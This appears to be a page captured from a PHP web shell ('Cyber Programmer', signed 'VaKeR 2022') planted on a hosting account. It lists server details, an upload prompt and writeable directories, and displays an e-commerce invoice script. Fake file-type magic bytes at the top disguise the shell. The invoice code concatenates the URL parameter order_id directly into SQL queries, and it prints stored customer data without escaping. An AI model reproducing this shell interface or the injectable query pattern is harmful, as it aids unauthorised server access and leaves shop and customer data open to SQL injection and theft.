%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6031bb72/admin/manage_order/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6031bb72/admin/manage_order/finvoice copy.php
<?php 
include('../function.php');
if(isset($_GET['order_id'])){
$Order=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `order_tbl` WHERE order_id ='".$_GET['order_id']."'"));
if ($Order['type']=='User') {
	
$UserTbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `users_tbl` WHERE user_id ='".$Order['user_id']."'")); 
}
$OrderDtl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `order_detail_tbl` WHERE order_id ='".$Order['order_id']."'"));  
}
?>


<!DOCTYPE html>
<html>
<head>
	<title><?=$rows_website['website_name']?></title>
</head>
<body style="background-color:#fff;">
	<div style="width: 900px;margin:auto;background-color:#fff; box-shadow: 0px 0px 5px rgb(0 0 0 / 30%);padding: 50px;">
		<table cellspacing="0" style="width:900px;padding:20px;margin: 20px;margin-bottom: 50px;">
			<tr style="margin-bottom: 20px;">
				<td colspan="3" style="border-bottom:1px solid #000;">
					<img src="<?=$base_url?>images/Upload/logo/<?=$rows_website['logo']?>" style="width:80px;">
				</td>
				<td style="border-bottom:1px solid #000;text-align: center;">
					<p style="margin: 0;border-right: 1px solid #000;"><strong>User Type</strong></p>
					<p style="margin: 0;border-right: 1px solid #000;"><?=$Order['type']?></p>
				</td>
				<td style="border-bottom:1px solid #000;text-align: center;">
					<p style="margin: 0;border-right: 1px solid #000;"><strong>Order ID</strong></p>
					<p style="margin: 0;border-right: 1px solid #000;"><?=$Order['order_id']?></p>
				</td>
				<td style="border-bottom:1px solid #000;text-align: center;">
					<p style="margin: 0;"><strong>Date</strong></p>
					<p style="margin: 0;"><?=$Order['recieve_date']?></p>
				</td>
			</tr>
			<tr>
				<td colspan="5">
					<p style="font-weight: bold;margin: 0;margin-top: 20px;	"><?=$rows_website['website_name']?></p>
					<p style="font-weight: bold;margin: 0;">ICO: 28185751</p>
				</td>
			</tr>
			<tr>
				<td colspan="3">
					<p style="margin: 0;margin-top: 20px;"><strong>Email: </strong> <?=$rows_website['website_email_id']?></p>
					<p style="margin: 0;"><strong>Telephone: </strong> +<?=$rows_website['mobile_number1']?></p>
				</td>
				<td colspan="2">
					<p style="margin: 0;margin-top: 20px;"><strong>Full Name: </strong><?=$OrderDtl['name']?></p>
					<p style="margin: 0;"><strong>Email: </strong> <?=$OrderDtl['email']?></p>
					<p style="margin: 0;"><strong>Phone:</strong> <?= $OrderDtl['phone'] ?></p>
				</td>
			</tr>
			<tr>
				<td colspan="3">
					<p style="margin: 0;margin-top: 20px;"><strong>Address:</strong> 
					<?=wordwrap($rows_website['website_address'],25,"<br>\n");?> 
					<!-- <p style="margin: 0;"><strong>City: </strong> Praha 9</p>
					<p style="margin: 0;"><strong>State: </strong> Praha</p>
					<p style="margin: 0;"><strong>Country: </strong> Czech Republic</p>
					<p style="margin: 0;"><strong>Postal Code: </strong> 17000</p> -->
				</td>
				<td colspan="2">
					<p style="margin: 0;margin-top: 20px;"><strong>Address 1: </strong> 
					<?=wordwrap($OrderDtl['address1'],25,"<br>\n");?>
					</p>
					<p style="margin: 0;"><strong>Address 2: </strong>
					<?=wordwrap($OrderDtl['address2'],25,"<br>\n");?>
					</p>
					<p style="margin: 0;"><strong>Country: </strong> <?=$OrderDtl['country']?></p>
					<p style="margin: 0;"><strong>State: </strong> <?=$OrderDtl['state']?></p>
					<p style="margin: 0;"><strong>City: </strong> <?=$OrderDtl['city']?></p>
					
					<p style="margin: 0;margin-top: 10px;"><strong>Delivery Method: </strong> Postal Mail</p>
					<p style="margin: 0;margin-bottom: 20px;"><strong>Payment Method: </strong> <?=$Order['payment_method']?></p>
				</td>
			</tr>

			<tr style="background:#eee!important;">
				<td>
					<p style="font-weight: bold;margin: 0;padding: 5px;">No.</p>
				</td>
				<td>
					<p style="font-weight: bold;margin: 0;padding: 5px;">Items</p>
				</td>
				<td>
					<p style="font-weight: bold;margin: 0;padding: 5px;">Quantity</p>
				</td>
				<td>
					<p style="font-weight: bold;margin: 0;padding: 5px;">Price</p>
				</td>
				<td>
					<p style="font-weight: bold;margin: 0;padding: 5px;">Total Price</p>
				</td>
			</tr>
			
<?php
$subtotal= 0;
$sql=mysqli_query($conn,"SELECT * FROM order_detail_tbl WHERE order_id='".$_GET['order_id']."'");
while($fetch_row=mysqli_fetch_assoc($sql)){

$product_row=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `product_tbl` WHERE id ='".$OrderDtl['product_id']."'"));  

$eachProductTotal=$fetch_row['quantity']*$product_row['price'];
$subtotal += $eachProductTotal;
?>			
			
			
			<tr>
				<td>
					<p style="margin: 0;padding: 5px;">1</p>
				</td>
				<td>
					<p style="margin: 0;padding: 5px;"><?=$product_row['title']?></p>
				</td>
				<td>
					<p style="margin: 0;padding: 5px;"><?=$fetch_row['quantity']?></p>
				</td>
				<td>
					<p style="margin: 0;padding: 5px;"><?=$Order['currencyType']?> <?=$product_row['price']?> </p>
				</td>
				<td>
					<p style="margin: 0;padding: 5px;"><?=$Order['currencyType']?> <?=$eachProductTotal?> </p>
				</td>
			</tr>
			
<?php } ?>		
            

	        <tr style="margin-top: 20px;">
				<td colspan="3"></td>
	
					<td>
					<p style="font-weight: bold; margin-top: 10px;">Sub Total</p>
				</td>
				<td>
					<p style="margin: 0;"><?=$Order['currencyType']?> <?=$subtotal?></p>
				</td>
				
			</tr>

			<?php if(!empty($Order['coupon'])){ ?>
			<tr>
				<td colspan="3"></td>
	
					<td>
					<p style="font-weight: bold;margin: 0;">Coupon</p>
				</td>
				<td>
					<p style="margin: 0;"><?=$Order['coupon']?></p>
				</td>
				
			</tr>
			<tr>
				<td colspan="3"></td>
	
					<td>
					<p style="font-weight: bold;margin: 0;">Discount</p>
				</td>
				<td>
					<p style="margin: 0;"><?=$Order['discount']?>%  </p>
				</td>
				
			</tr>
			<tr>
				<td colspan="3"></td>
	
					<td>
					<p style="font-weight: bold;margin: 0;">Discount Cost</p>
				</td>
				<td>
					<p style="margin: 0;"><?=$Order['currencyType']?> <?=$Order['discount_amount']?></p>
				</td>
				
			</tr>
			<?php } ?>
			<?php if($Order['shipping']!=0 || $Order['shipping']!='Free'){ ?>
			<tr>
				<td colspan="3"></td>
	
					<td>
					<p style="font-weight: bold;margin: 0;">Shipping</p>
				</td>
				<td>
					<p style="margin: 0;"><?=$Order['shipping']?></p>
				</td>
				
			</tr>
			<?php }else{ ?>
				<tr>
					<td colspan="3"></td>
		
						<td>
						<p style="font-weight: bold;margin: 0;">Shipping</p>
					</td>
					<td>
						<p style="margin: 0;"> Free</p>
					</td>
					
				</tr>
			<?php } ?>

			<tr style="border-top:1px solid #000;border-bottom:1px solid #000;">
				<td colspan="3"></td>
				<td>
					<p style="font-weight: bold;margin: 0;text-transform: uppercase;margin-top: 10px;">Total Paid</p>
				</td>
				<td>
					<?php 
					$grand_total = $subtotal - $Order['discount_amount'];
					if($Order['shipping']==0 || $Order['shipping']=='Free'){
                    }else{
                        $grand_total += $Order['shipping'];
                    }
					?>
					<p style="margin:0;margin-top:20px;background:#000 !important; padding: 5px;"><?=$Order['currencyType']?> <?=$grand_total?></p>
				</td>
			</tr>
		</table>
	</div>
</body>
</html>

VaKeR 2022